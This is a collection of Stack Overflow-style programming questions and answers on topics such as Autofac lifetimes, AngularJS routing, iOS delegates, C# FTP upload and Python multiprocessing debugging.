36411200	0	 <p>If using ASP.NET (this includes MVC and Web API, Web Forms, etc) and AutoFac you should register all your components using the extension method <code>.InstancePerRequest()</code>. The only exception is for components that are thread safe and where you do not have to worry about errors/unexpected results occurring from one request accessing the same (stale) data as another. An example might be a Factory or a Singleton.</p> <p>Example of use on a line of code:</p> <pre><code>builder.Register(c =&gt; new UserStore&lt;ApplicationUser&gt;(c.Resolve&lt;ApplicationDataContext&gt;())).AsImplementedInterfaces().InstancePerRequest(); </code></pre> <p>This ensures that every new incoming Http Request will get its own copy of that implementation (resolved and injected hopefully via an interface). Autofac will also cleanup the Disposable instances at the end of each request.</p> <p>This is the behavior you need. It ensures that there is no cross request interference (like one request manipulating data on a shared dbcontext on another request). It also ensures that data is not stale as it is cleaned up after each request ends.</p> <p>See <a href="http://docs.autofac.org/en/latest/lifetime/instance-scope.html#instance-per-request" rel="nofollow">the Autofac documentation</a> for more details (here an excerpt).</p> <blockquote> <h3>Instance Per Request</h3> <p>Some application types naturally lend themselves to “request” type semantics, for example ASP.NET web forms and MVC applications. In these application types, it’s helpful to have the ability to have a sort of “singleton per request.”</p> <p>Instance per request builds on top of instance per matching lifetime scope by providing a well-known lifetime scope tag, a registration convenience method, and integration for common application types. Behind the scenes, though, it’s still just instance per matching lifetime scope.</p> </blockquote> <p>Changing your DI definitions above to include this should resolve your issues (I think based on what you have provided). If not then it might be a problem with your Identity registration in which case you should post that code so it can be scrutinized.</p>
14483471	0	 <p>The wildcard * has to be interpreted by the SHELL. When you run subprocess.call, by default it doesn't load a shell, but you can give it <code>shell=True</code> as an argument:</p> <pre><code>subprocess.call("mock *.src.rpm".split(), shell=True) </code></pre>
27302366	0	 <p>What you are looking for is <code>UINavigationControllerDelegate</code>.</p> <p>I believe the method that gives you the message you need is </p> <pre><code>- (void)navigationController:(UINavigationController *)navigationController willShowViewController:(UIViewController *)viewController animated:(BOOL)animated; </code></pre> <p>And </p> <pre><code>- (void)navigationController:(UINavigationController *)navigationController didShowViewController:(UIViewController *)viewController animated:(BOOL)animated; </code></pre> <p>In your CustomViewController, you are going to want to conform to the <code>UINavigationControllerDelegate</code> protocol like this:</p> <pre><code>@interface CustomViewController : UIViewController &lt;UINavigationControllerDelegate&gt; </code></pre> <p>And then override the delegate methods above to get the messages you are looking for.</p> <p>Here is an complete implementation in Swift:</p> <pre><code>import UIKit class ViewController: UIViewController, UINavigationControllerDelegate { override func viewDidLoad() { super.viewDidLoad() navigationController?.delegate = self } override func didReceiveMemoryWarning() { super.didReceiveMemoryWarning() } func navigationController(navigationController: UINavigationController, willShowViewController viewController: UIViewController, animated: Bool) { println(viewController) } } class FirstViewController: ViewController { } class SecondViewController: ViewController { } </code></pre>
20177846	0	 <p>The book xUnit Test Patterns offers a lot of great insights into this very question. </p>
4827507	0	 <p>Did you change the SDK location? That may cause this issue.<br> If possible please post exact error message.</p>
40266033	0	 <p>The system defined <code>&amp;&amp;</code> operator only supports boolean operands. The <code>&amp;</code> operator will work for enums (because it also works on all integer types, which the enums are based on). Of course, if you want an enum that represents the combination of two flag values then you'll want to OR them together (using <code>|</code>), not AND them together.</p>
12062096	0	SQL Connection String for another pc <p>I developed an application. It loads sql database on my pc with this connection string:</p> <pre><code>Data Source=.\SQLEXPRESS;AttachDbFilename=D:\Database\Books.mdf;Integrated Security=True;User Instance=True private void Window_Loaded(object sender, RoutedEventArgs e) { DataSet ds = new DataSet(); SqlConnection con = new SqlConnection(@"Data Source=.\SQLEXPRESS;AttachDbFilename=D:\Database\Books.mdf;Integrated Security=True;User Instance=True"); SqlDataAdapter da = new SqlDataAdapter(); da.SelectCommand = new SqlCommand("SELECT * FROM Lessons", con); da.Fill(ds); grdPersonnel1.DataContext = ds.Tables[0]; con.Open(); } </code></pre> <p>but, my Database data doesn't load in another pc!</p>
37159943	0	How to perform heroku-like deployment on shared hosting? <p>For our production server we use shared hosting. Until now, we were using FTP system to manually upload changes.</p> <p>I am looking for a technique that lets me use git to push only changes from development to production server. </p> <p>For my private projects I was using GitHub as development remote and Heroku as production remote. I am looking for something that can do similar thing without using Heroku itself. (note that we use shared hosting). I want to have two remotes, development (to development server) and production remote (from development server to production server). <strong>Idea is to push from development server to production server using git.</strong></p> <p>Projects are mostly written in PHP.</p>
16977873	0	FrameLayout click event is not firing <p>I have used Framelayour for click event and It was working fine before 2 days but don't know wat happend now it is not working. <br> Please someone help me. <bR> My code is as below : <strong>Design :</strong></p> <pre><code>&lt;FrameLayout android:id="@+id/flWebpre" android:layout_width="fill_parent" android:layout_height="0dp" android:layout_weight="1" &gt; &lt;WebView android:id="@+id/wvWebsite" android:layout_width="fill_parent" android:layout_height="fill_parent" /&gt; &lt;ProgressBar android:id="@+id/pbWebsite" android:layout_width="wrap_content" android:layout_height="wrap_content" android:background="@color/white" android:layout_gravity="center_horizontal" /&gt; &lt;/FrameLayout&gt; </code></pre> <p><strong>Code :</strong></p> <pre><code>FrameLayout flWebPre = (FrameLayout) findViewById(R.id.flWebpre); flWebPre.setOnClickListener(new View.OnClickListener() { @Override public void onClick(View v) { // TODO Auto-generated method stub if (isExpanded) { isExpanded = false; new CollapseAnimation(slidingPanel, panelWidth, TranslateAnimation.RELATIVE_TO_SELF, 0.70f, TranslateAnimation.RELATIVE_TO_SELF, 0.0f, 0, 0.0f, 0, 0.0f); } } }); </code></pre>
5442611	0	 <p>Try to read this articles:</p> <p><a href="http://www.devx.com/getHelpOn/Article/10202/1954" rel="nofollow">Use RTTI for Dynamic Type Identification</a></p> <p><a href="http://en.wikibooks.org/wiki/C++_Programming/RTTI" rel="nofollow">C++ Programming/RTTI</a></p> <p><a href="http://en.wikipedia.org/wiki/Run-time_type_information" rel="nofollow">Run-time type information</a></p>
1689879	0	 <p>You can use a timout in Javascript or maybe the <a href="http://plugins.jquery.com/project/timers" rel="nofollow noreferrer">timer plugin</a> from jQuery. This will allow you to create a function that removes teh message after a period of time. I haven't used the timer plugin myself but it seems pretty stable.</p> <pre><code>$("#save-button").click(function() { //code to save etc $("your label").oneTime(10000, "hide", function() { $("Your Label").hide(); }); }); </code></pre>
16687633	0	 <p>You can also try this code, applies for other file extensions too.</p> <pre><code>string ftpUrl = "ftp://server//foldername/fileName.ext"; string fileToUploaded = "c:/fileName.ext"; FtpWebRequest request = (FtpWebRequest)WebRequest.Create(ftpUrl); request.Proxy = new WebProxy(); //-----Proxy bypassing(The requested FTP command is not supported when using HTTP proxy) request.Method = WebRequestMethods.Ftp.UploadFile; request.Credentials = new NetworkCredential(ftpUsername, ftpPassword); using (var requestStream = request.GetRequestStream()) { using (var input = File.OpenRead(fileToBeUploaded)) { input.CopyTo(requestStream); } } </code></pre> <p>Try streaming the data, instead of loading it all into memory separately. Also <code>using</code> statement helps to dispose the resources perfectly.</p>
35069582	0	Why google doesnt index my single page app properly? <p>Since some time google <a href="https://developers.google.com/webmasters/ajax-crawling/docs/learn-more" rel="nofollow">officially depreceated ajax crawling scheme</a> they came up with back in 2009 so I decided to get rid of generating snapshots in phantomJS for _escaped_fragment and rely on google to render my single page app like a modern browser and discover its content. <a href="https://googlewebmastercentral.blogspot.com.au/2015/10/deprecating-our-ajax-crawling-scheme.html" rel="nofollow">They describe it in here</a>. But now I seem to have a problem.</p> <p>Google indexed my page (at least I can see in webmastertools it has) but when using webmastertools I look at <code>google index--&gt;content keywords</code> it shows non processed content of my angularJS templates only and names of my binded variable names e.g. <code>{{totalnewprivatemessagescount}}</code> etc. The keywords do not contain words that should should be generated by ajax calls when Javascript executes so e.g. <code>fighter</code> is not even in there and it should be all over the place.</p> <p>Now, when I use <code>Crawl--&gt;Fetch as google--&gt;Fetch and render</code> the snapshot what google bot sees is very much the same as what user sees and is clearly generated using Javascript. The Fetch HTML tab though shows only source without being processed using JS which I'm guessing is fine.</p> <p>Now my question is why google didn't index my website properly? Is there anything I implemented incorrectly somewhere? The website is live at <a href="https://www.fightersconnect.com" rel="nofollow">https://www.fightersconnect.com</a> and thanks for any advice.</p>
7919538	0	 <ol> <li>you need to check the result from <code>[Model alloc] init]</code>, make sure value is not nil.</li> <li>check your property <code>model</code> of the cell, make sure it's not assign.</li> <li>if still the <code>model</code> of <code>cell</code> is nil, please posts more codes here. </li> </ol>
19519833	0	 <p>In ARC assign it would be released anywhere. For pointer variable "strong" only more comfortable. I modified the code in .h file by below line</p> <p>@property (nonatomic, strong) NSString *username;</p> <p>Thanks Tamilarasan</p>
40517134	0	CPython multiprocess fork failing with gdb/lldb attached on OS X <p>Trying to run the following code in CPython 2.7.12 with either gdb or lldb attached fails:</p> <pre><code>import multiprocessing as mp mp.Manager() </code></pre> <p>The debugger sees something like:</p> <pre><code>$ lldb -f python (lldb) target create "/usr/local/bin/python" Current executable set to '/usr/local/bin/python' (x86_64). (lldb) r Process 1857 launched: '/usr/local/bin/python' (x86_64) Process 1857 stopped * thread #1: tid = 0x1afeb, 0x00007fff5fc01000 dyld`_dyld_start, stop reason = exec frame #0: 0x00007fff5fc01000 dyld`_dyld_start dyld`_dyld_start: -&gt; 0x7fff5fc01000 &lt;+0&gt;: popq %rdi 0x7fff5fc01001 &lt;+1&gt;: pushq $0x0 0x7fff5fc01003 &lt;+3&gt;: movq %rsp, %rbp 0x7fff5fc01006 &lt;+6&gt;: andq $-0x10, %rsp (lldb) c Process 1857 resuming Python 2.7.12 (default, Oct 11 2016, 05:24:00) [GCC 4.2.1 Compatible Apple LLVM 8.0.0 (clang-800.0.38)] on darwin Type "help", "copyright", "credits" or "license" for more information. &gt;&gt;&gt; import multiprocessing &gt;&gt;&gt; multiprocessing.Manager() Traceback (most recent call last): File "&lt;stdin&gt;", line 1, in &lt;module&gt; File "/usr/local/Cellar/python/2.7.12_2/Frameworks/Python.framework/Versions/2.7/lib/python2.7/multiprocessing/__init__.py", line 99, in Manager m.start() File "/usr/local/Cellar/python/2.7.12_2/Frameworks/Python.framework/Versions/2.7/lib/python2.7/multiprocessing/managers.py", line 528, in start self._address = reader.recv() EOFError </code></pre> <p>Along with that output, I get the standard OS X crash dialog, from that, notably:</p> <pre><code>Crashed Thread: 0 Dispatch queue: com.apple.main-thread Exception Type: EXC_BREAKPOINT (SIGTRAP) Exception Codes: 0x0000000000000002, 0x0000000000000000 Application Specific Information: dyld: in dlopen() crashed on child side of fork pre-exec Thread 0 Crashed:: Dispatch queue: com.apple.main-thread 0 dyld 0x00007fff5fc0d35b gdb_image_notifier(dyld_image_mode, unsigned int, dyld_image_info const*) + 1 1 ??? 000000000000000000 0 + 0 2 dyld 0x00007fff5fc0482a dyld::notifyBatchPartial(dyld_image_states, bool, char const* (*)(dyld_image_states, unsigned int, dyld_image_info const*)) + 755 3 dyld 0x00007fff5fc0e75d ImageLoader::link(ImageLoader::LinkContext const&amp;, bool, bool, bool, ImageLoader::RPathChain const&amp;) + 89 4 dyld 0x00007fff5fc04a12 dyld::link(ImageLoader*, bool, bool, ImageLoader::RPathChain const&amp;) + 149 5 dyld 0x00007fff5fc0c29f dlopen + 450 6 libdyld.dylib 0x00007fff87ce279c dlopen + 59 7 org.python.python 0x00000001000b8182 _PyImport_GetDynLoadFunc + 309 8 org.python.python 0x00000001000a3230 _PyImport_LoadDynamicModule + 96 </code></pre> <p>This similarly happens in gdb regardless of the setting of <code>detach-on-fork</code>.</p> <p>How can I run CPython under a debugger with multiprocessing code?</p>
32308650	0	 <p>Likely, with iOS8, the path that you have saved won't be valid across launches. </p> <p>The solution is to save the filename and not the complete path, and to recreate the URL or complete path, by getting the path to the Documents (or tmp) folder and appending the filename to it.</p>
36967891	0	 <p>There are two main problems with your code:</p> <ol> <li>Enable HTML 5 mode for <a href="https://docs.angularjs.org/api/ng/provider/$locationProvider" rel="nofollow">pushState via $locationProvider</a> for URLs like <code>/dashboard</code> and <code>/page_3</code></li> <li>Fix the problem where route is configured for <code>/page_3</code> but having a <code>a</code> tag pointed to <code>/page_3.html</code></li> </ol> <p>To get a working example:</p> <ul> <li><p>Add a base tag</p> <pre><code>&lt;base href="/"&gt; </code></pre></li> <li><p>Enable html5 mode via locationProvider in a <a href="https://docs.angularjs.org/guide/providers" rel="nofollow">config</a> block</p> <pre><code>$locationProvider.html5Mode(true); </code></pre></li> <li><p>Fix route in dashboard.html</p> <pre><code> &lt;!-- below is dashboard.html page --&gt; &lt;div ng-controller="app"&gt; &lt;h1&gt;Page_3&lt;/h1&gt; &lt;div&gt;&lt;a href='page_3.html'&gt;page_3&lt;/a&gt;&lt;/div&gt; &lt;/div&gt; </code></pre></li> </ul> <p><a href="http://jsbin.com/vakujokara" rel="nofollow">Click here for the demo / jsbin.</a></p> <p>Other/suggestions: as <a href="http://stackoverflow.com/users/1462603/zach-briggs">Zack Briggs</a> have suggested; using controller syntax in routes would help you come up with better code structure / design in router config, <a href="https://docs.angularjs.org/api/ng/service/$compile" rel="nofollow">directives</a>, or <a href="https://docs.angularjs.org/guide/component" rel="nofollow">components</a>. Also putting everything in one place is often a bad idea for a growing project.</p>
14775851	0	 <p>I'm using JavaFX's WebPane at the moment. That's fine for my needs. Close?</p>
21100155	0	 <p>You need to make this operation optional if <code>value</code> is empty:</p> <pre><code> if value: data.append((next(value), value)) </code></pre> <p>This change works for me:</p> <pre><code>if value: try: data.append(next(value), value) except StopIteration: pass </code></pre>
3454578	0	Need a way to pick a common bit in two bitmasks at random <p>Imagine two bitmasks, I'll just use 8 bits for simplicity:</p> <pre><code>01101010 10111011 </code></pre> <p>The 2nd, 4th, and 6th bits are both 1. I want to pick one of those common "on" bits at random. But I want to do this in O(1).</p> <p>The only way I've found to do this so far is pick a random "on" bit in one, then check the other to see if it's also on, then repeat until I find a match. This is still O(n), and in my case the majority of the bits are off in both masks. I do of course &amp; them together to initially check if there's any common bits at all.</p> <p>Is there a way to do this? If so, I can increase the speed of my function by around 6%. I'm using C# if that matters. Thanks!</p> <p>Mike</p>
28205392	0	 <p>Thanks to himmet-avsar!</p> <p>The filter can specified simply by using handlebars.</p> <pre><code>&lt;td ng-repeat="cell in structure" ng-bind="row[cell.key] | {{cell.filter}}: row[cell.rgmnt]"&gt;&lt;/td&gt; </code></pre> <p>But, this assumes that the filter property is always specified. You can use another filter to specify if the pipe is shown and even pass arguments through it:</p> <pre><code>&lt;td ng-repeat="cell in structure" ng-bind="row[cell.key] {{cell.filter | isThereAFilter: row[cell.rgmnt]}}"&gt;&lt;/td&gt; function isThereAFilter() { return function (input, arg1) { if (input != null) { return "| " + input + ": " + arg1; } } } </code></pre>
13197498	0	 <p>This worked perfect for me:</p> <pre><code>#import &lt;SystemConfiguration/CaptiveNetwork.h&gt; CFArrayRef myArray = CNCopySupportedInterfaces(); CFDictionaryRef myDict = CNCopyCurrentNetworkInfo(CFArrayGetValueAtIndex(myArray, 0)); // NSLog(@"SSID: %@",CFDictionaryGetValue(myDict, kCNNetworkInfoKeySSID)); NSString *networkName = CFDictionaryGetValue(myDict, kCNNetworkInfoKeySSID); if ([networkName isEqualToString:@"Hot Dog"]) { self.storeNameController = [[StoreDataController alloc] init]; [self.storeNameController addStoreNamesObject]; } else { UIAlertView *alert = [[UIAlertView alloc]initWithTitle: @"Connection Failed" message: @"Please connect to the Hot Dog network and try again" delegate: self cancelButtonTitle: @"Close" otherButtonTitles: nil]; [alert show]; </code></pre>
40641967	0	Parallax Background in div of Content <p>Is it possible to create a parallax background inside a div that has a certain width? Every tutorial I've seen has parallax backgrounds on full screen websites. My site is not full screen width, but I would still like to use the parallax effect within the content of my site. Obviously if I use the background-attachment: fixed; css property, the background becomes fixed to the body tag and not of the actual div.</p> <p>To understand what I'm trying to do, you can look at this simple jsfiddle: <a href="http://jsfiddle.net/yh02y6dy/" rel="nofollow noreferrer">http://jsfiddle.net/yh02y6dy/</a></p> <p><div class="snippet" data-lang="js" data-hide="false" data-console="true" data-babel="false"> <div class="snippet-code"> <pre class="snippet-code-js lang-js prettyprint-override"><code>//Parallax function simpleParallax() { //This variable is storing the distance scrolled var scrolled = $(window).scrollTop() + 1; //Every element with the class "scroll" will have parallax background //Change the "0.3" for adjusting scroll speed. $('.scroll').css('background-position', '0' + -(scrolled * 0.05) + 'px'); } //Everytime we scroll, it will fire the function $(window).scroll(function (e) { simpleParallax(); });</code></pre> <pre class="snippet-code-css lang-css prettyprint-override"><code>.scroll { /*Set a css background */ background:url(http://cdn.wallpapersafari.com/63/15/o20clA.jpg) fixed; width:600px; height:250px; line-height:300px; margin:0 auto; margin-top:150px; text-align:center; color:#fff; } body { min-height:3000px; }</code></pre> <pre class="snippet-code-html lang-html prettyprint-override"><code>&lt;div class="scroll"&gt; &lt;h1&gt;Text on parralax background&lt;/h1&gt; &lt;/div&gt;</code></pre> </div> </div> </p> <p>You can see that the background image is fixed to the top left corner of the screen and not to the div. I want the background image to start where the div is starting.</p> <p>I'm not opposed to using jquery if that is what's needed to make this work.</p> <p>Thanks!</p>
34438117	0	 <h2>AST</h2> <p>To avoid any chance of error in code manipulation using an <a href="https://en.wikipedia.org/wiki/Abstract_syntax_tree" rel="nofollow">Abstract Syntax Tree (AST)</a> type solution is best. One example implementation is in <a href="https://github.com/mishoo/UglifyJS2" rel="nofollow">UglifyJS2</a> which is a JavaScript parser, minifier, compressor or beautifier toolkit.</p> <h2>RegEx</h2> <p>Alternatively if an AST is over the top for your specific task you can use RegEx.</p> <p>But do you have to contend with comments too?</p> <p>The process might look like this:</p> <ol> <li>Use a carefully formed regex to <strong>split</strong> the JavaScript code string based on these in this order: <ul> <li>comment blocks</li> <li>comment lines</li> <li>quoted strings both single and double quotes (remembering to contend with escaping of characters).</li> </ul></li> <li>Iterate though the split components. If string (beings with <code>"</code> or <code>'</code>) or comment (begins with <code>//</code> or <code>/*</code>) ignore, otherwise run your replacement.</li> <li>(and the simple part) join array of strings back together.</li> </ol>
21588596	0	 <p>Try this:</p> <pre><code>tt &lt;- c(0, 1, 2, 3, 4, 5, 1, 2, 3, 4, 1, 2, 3, 4, 5) grp &lt;- cumsum(c(FALSE, diff(tt) &lt; 0)) </code></pre> <p>which gives:</p> <pre><code>&gt; grp [1] 0 0 0 0 0 0 1 1 1 1 2 2 2 2 2 </code></pre>
5189326	0	 <p>My problem was I was passing along the same old listAccts to the array list, without saying "new". Even when I did say "new" i was passing along the accounts inside of listAccts, so the arraylist would be new, but the accounts inside of the new array list would be the ones I wanted to have backups of. What I had to do was create a new object from a deep copy using this method.</p> <p><a href="http://www.javaworld.com/javaworld/javatips/jw-javatip76.html?page=2" rel="nofollow">http://www.javaworld.com/javaworld/javatips/jw-javatip76.html?page=2</a></p> <p>Thanks everyone who offered help.</p>
33305397	0	 <p>Assuming you want to copy the values of the previous block when add button is clicked, you can do this:</p> <pre><code>$scope.cloneItem = function() { var food = $scope.foods[$scope.foods.length - 1]; var itemToClone = { "selectproduct": food.selectproduct, "Quantity1": food.Quantity1, "Quantity2": food.Quantity2 }; $scope.foods.push(itemToClone); } </code></pre>
28791950	0	 <p>You are reading the list wrong; <a href="https://docs.python.org/2/library/stdtypes.html#file.readline" rel="nofollow"><code>readline</code></a> does not take the line number, but the <strong>maximum number of characters per line</strong>:</p> <blockquote> <p><code>file.readline([size])</code></p> <p>Read one entire line from the file. A trailing newline character is kept in the string (but may be absent when a file ends with an incomplete line). [6] <strong>If the size argument is present and non-negative, it is a maximum byte count (including the trailing newline) and an incomplete line may be returned.</strong> When size is not 0, an empty string is returned only when EOF is encountered immediately.</p> </blockquote> <p>Your code would work if you just did <code>file.readline()</code>:</p> <pre><code>for line in range(1,11): data = file.readline() list1.append(data) </code></pre> <p>The current code tries to read only 1, 2 and 3 characters of the <em>first</em> line, which results in <code>'1'</code>, <code>'00'</code> and the <code>'\n'</code> newline being read separately, followed by max 4 characters of line 2 (<code>'200\n'</code>) etc.</p> <hr> <p>However it is not very pythonic either; I would write it as:</p> <pre><code>with open("sample.txt") as file: list1 = [ int(line) for line in file ] sortedlist = list1.sort() print sortedlist </code></pre> <p><code>with</code> automatically closes the file at the end of indented block. <code>for</code> loop for a file automatically iterates over its lines; <code>[ expression for var in iterable ]</code> is a list comprehension, that is a shorter way of doing:</p> <pre><code>result = [] for var in iterable: result.append(expression) </code></pre> <p>Or as Jon Clements suggested, if you really want to sort the lines by their numerical value, but keeping them as string:</p> <pre><code>with open('sample.txt') as file: list1 = list(file) # all lines as a list print sorted(list1, key=int) </code></pre>
2739196	0	Login fails after upgrade to ASP.net 4.0 from 3.5 <p>I cannot log in using any of the membership accounts using .net 4.0 version of the app. It fails like it's the wrong password, and FailedPasswordAttemptCount is incremented in my_aspnet_membership table. (I am using membership with mysql membership provider.)</p> <p>I can create new users. They appear in the database. But I cannot log in using the new user credentials (yes, IsApproved is 1).</p> <p>One clue is that the hashed passwords in the database is longer for the users created using the asp.net 4.0 version, e.g 3lwRden4e4Cm+cWVY/spa8oC3XGiKyQ2UWs5fxQ5l7g=, and the old .net 3.5 ones are all like +JQf1EcttK+3fZiFpbBANKVa92c=. </p> <p>I can still log in when connecting to the same db with the .net 3.5 version, but only to the old accounts, not the new ones created with the .net 4.0 version. The 4.0 version cannot log in to any accounts.</p> <p>I tried dropping the whole database on my test system, the membership tables are then auto created on first run, but it's still the same, can create users, but can't log in.</p>
25979700	0	 <p>PayPal is actually better than most in terms of enabling you to do testing. There's a complete testing sandbox solution (<a href="https://developer.paypal.com/webapps/developer/docs/classic/lifecycle/ug_sandbox/" rel="nofollow">support document</a>), and when adding/editing your REST API application, you can click the "Edit" link next to "App Redirect URLs" and specify both a testing URL and live URL for production. That should give you everything you need to test locally without exposing your site to the outside world.</p> <p>If it does end up giving you fits over using localhost, there's always services like <a href="http://readme.localtest.me" rel="nofollow">localtest.me</a>, that can let you get around it.</p>
1846704	0	 <p>"Clear" JavaScript:</p> <pre><code>&lt;script type="text/javascript"&gt; function myKeyPress(e){ var keynum; if(window.event) { // IE keynum = e.keyCode; } else if(e.which){ // Netscape/Firefox/Opera keynum = e.which; } alert(String.fromCharCode(keynum)); } &lt;/script&gt; &lt;form&gt; &lt;input type="text" onkeypress="return myKeyPress(event)" /&gt; &lt;/form&gt; </code></pre> <p>JQuery:</p> <pre><code>$(document).keypress(function(event){ alert(String.fromCharCode(event.which)); }); </code></pre>
35926716	0	 <p><code>express</code> is a module that can be used to create more than one application.</p> <pre><code>var ex = require('express') </code></pre> <p>puts this module into the variable <code>ex</code>. Once you have a reference to the module, you can use it to create application. Each module has its own API. According to the expressjs documentation - <a href="http://expressjs.com/en/4x/api.html" rel="nofollow">http://expressjs.com/en/4x/api.html</a>, the module is in fact a function that can be used to create applications</p> <pre><code>var app1 = ex(); var app2 = ex(); </code></pre> <p>you could for example want to have several web applications listening on different ports.</p> <p>If you only want one application (but it would be less readable) you could write</p> <pre><code>var app = require('express')(); </code></pre>
1854313	0	 <p>nothing to do with jQuery, just this:</p> <pre><code>window.location.href = 'whatever.html'; </code></pre>
30418162	0	ADDing Django's Q() objects and get two exclusive JOIN ONs <p>So this is the scenario:</p> <pre><code>class Person(models.Model): ... class Aktion(models.Model): ... class Aktionsteilnahme(models.Model): person = models.ForeignKey(Person) aktion = models.ForeignKey(Aktion) </code></pre> <p>The problem now is, that I'm dynamically constructing rather complex queries based on <code>Q()</code>-objects. They end up like this:</p> <pre><code>Person.objects.filter( Q((Q()|Q(aktionsteilnahme__aktion=302))&amp; (Q()|Q(aktionsteilnahme__aktion=547))) ) </code></pre> <p>which can (and automatically will) be reduced to:</p> <pre><code>Person.objects.filter( Q(aktionsteilnahme__aktion=302)&amp; Q(aktionsteilnahme__aktion=547) ) </code></pre> <p>The <strong>problem</strong> now is, that this results in a SQL like this:</p> <pre class="lang-sql prettyprint-override"><code>SELECT * FROM person LEFT OUTER JOIN aktionsteilnahme ON ( person.id = aktionsteilnahme.person_id ) WHERE (aktionsteilnahme.aktion = 2890 AND aktionsteilnahme.aktion = 5924) </code></pre> <p>What I would actually need however is:</p> <pre><code>Person.objects.filter(Q(aktionsteilnahme__aktion=302)) .filter(Q(aktionsteilnahme__aktion=547)) </code></pre> <p>resulting in what I would actually need:</p> <pre class="lang-sql prettyprint-override"><code>SELECT * FROM person INNER JOIN aktionsteilnahme ON ( person.id = aktionsteilnahme.person_id ) INNER JOIN aktionsteilnahme T4 ON ( person.id = T4.person_id ) WHERE (aktionsteilnahme.aktion = 302 AND T4.aktion = 547) </code></pre> <p>I can't use the proposed solution though because all of it is gonna be <code>OR</code>'ed again.</p> <p>I would have to be able to do something like:</p> <pre><code>Person.objects.filter( Q( Q(aktionsteilnahme__aktion=302)) .filter(Q(aktionsteilnahme__aktion=547)) ) | Q(other_q_filters) ) </code></pre>
16118745	0	 <p>Welcome to the wonderful world of Event Dispatch Thread violation (and race conditions).</p> <p>Basically, you should never update (directly or indirectly) any UI component from any thread other then the EDT.</p> <p>Basically, when you update your <code>TableModel</code>, it is firing an event, which is been caught by the Table, which is trying to update itself, but the models state is in flux and does not make sense to the table...</p> <p>Instead, trying using a <code>SwingWorker</code> to update you model, using the publish and process methods to keep updates synchronised with the EDT</p> <p>Check out <a href="http://docs.oracle.com/javase/tutorial/uiswing/concurrency/" rel="nofollow">Concurrency in Swing</a> for more details and examples.</p>
32738943	0	VB6 read barcode while program is running in background <p>i have a problem to make a program that can read Barcode. What i want to do is a program (maybe a service? i don't know) that can capture barcode from a barcode scanner while is running in background.</p> <p>I have found that i can check if is plugged in a specific barcode scanner with his VID/PID, here some code:</p> <pre><code>Set wmi = GetObject("winmgmts://./root/cimv2") Dim VID As String Dim PID As String 'Barcode scanner VID = "VID_040B" PID = "PID_6510" 'REV = "REV_0120" For Each d In wmi.ExecQuery("SELECT * FROM Win32_USBControllerDevice") If InStr(d.Dependent, VID &amp; "&amp;" &amp; PID) &gt; 0 Then Debug.Print ("Barcode Scanner found it!") Debug.Print wmi.Get(d.Dependent).Description End If Next </code></pre> <p>How can I do that is read by my program only the input of my barcode scanner?</p> <p>Thank you in advance.</p>
40810615	0	 <p>ok, I got it working consistently between the two accounts and the key was to set the UseMachineKeyStore flag.</p> <pre><code>private static RSACryptoServiceProvider CreateRsaCypher(string containerName = DefaultContainerName) { // Create the CspParameters object and set the key container // name used to store the RSA key pair. CspParameters cp = new CspParameters(); cp.KeyContainerName = containerName; cp.Flags = CspProviderFlags.UseExistingKey | CspProviderFlags.UseMachineKeyStore; // Create a new instance of RSACryptoServiceProvider that accesses // the key container MyKeyContainerName. return new RSACryptoServiceProvider(cp); } </code></pre>
9130212	0	 <p>I prefer to set <strong><a href="https://docs.djangoproject.com/en/1.3/ref/settings/#date-input-formats">DATE_INPUT_FORMATS</a></strong> in settings.py and then define the field like:</p> <pre><code>dob = forms.DateField(input_formats=settings.DATE_INPUT_FORMATS) </code></pre> <p>This more DRY than setting it on a per form field basis.</p> <p>If it's a text field input, I almost always put the accepted format(s) in the field's <code>help_text</code> so that the user can know what format(s) is(are) accepted.</p>
14255220	0	 <p>You can try <a href="http://tumult.com/hype/" rel="nofollow">http://tumult.com/hype/</a> for creating interactive content for a wide range of devices. Also tell your client that almost nothing is available for every device imaginable ;-)</p>
6444612	0	 <p><code>width, height = im.size</code></p> <p>According to the <a href="http://effbot.org/imagingbook/image.htm">documentation</a>.</p>
25723954	0	 <p>Why not try wrapping your collection in an object (which acts as a service state) to allow binding to occur on the object, rather than by exposing functions. For example:</p> <pre><code>app.factory('healthService', function() { var state = { healths: [...] }; return { getState: function() { return state; }, updateHealths: function() { state.healths = [...]; } }; }); </code></pre> <p>Then inside your controller:</p> <pre><code>$scope.healthState = healthService.getState(); </code></pre> <p>Then to reference your healths from your html, use:</p> <pre><code>&lt;div ng-repeat="health in healthState.healths"&gt;&lt;/div&gt; </code></pre>
2996780	0	 <p>The response from the SOAP interface is already parsed. The englighten() method returns an XML string. When you call it with SOAP, this response is wrapped within even more XML. The SOAP library already parses the outer SOAP XML and returns the result of the enlighten() method, which is also XML.</p>
16122623	0	 <p>If you want to run asynchronous process programmatically go for it. That is, use the lower level functions.</p> <pre><code>(set-process-sentinel (start-process "pdflatex" "*async pdflatex*" "pdflatex" filename) (lambda (process event) (cond ((string-match-p "finished" event) (kill-buffer "*async pdflatex*")) ((string-match-p "\\(exited\\|dumped\\)" event) (message "Something wrong happened while running pdflatex") (when (yes-or-no-p "Something wrong happened while running pdflatex, see the errors?") (switch-to-buffer "*async pdflatex*")))))) </code></pre> <p><code>start-process</code> starts a process asynchronously and <code>set-process-sentinel</code> defines the function triggered when the process status changes.</p>
17957443	0	 <p>Well, for starters you'd have to avoid the client's navigation cache (often a back/forward doesn't actually pull the page back down).</p> <p>After that hurdle you can look at (ironically) using a session variable to store if it's been viewed [output] and only dump it to the page once.</p> <p>if that seems to much, you could just add a cookie check in the function so when it's run (and re-run) it checks for a cookie and, when absent, makes an alert and sets a cookie. Pseudocode:</p> <pre><code>function showAlert(msg){ if (cookie[msg] == null){ // a cookie doesn't exist for this msg alert(msg); // alert the msg cookie[msg] = true; // set the cookie so the next pass is ignored } } </code></pre>
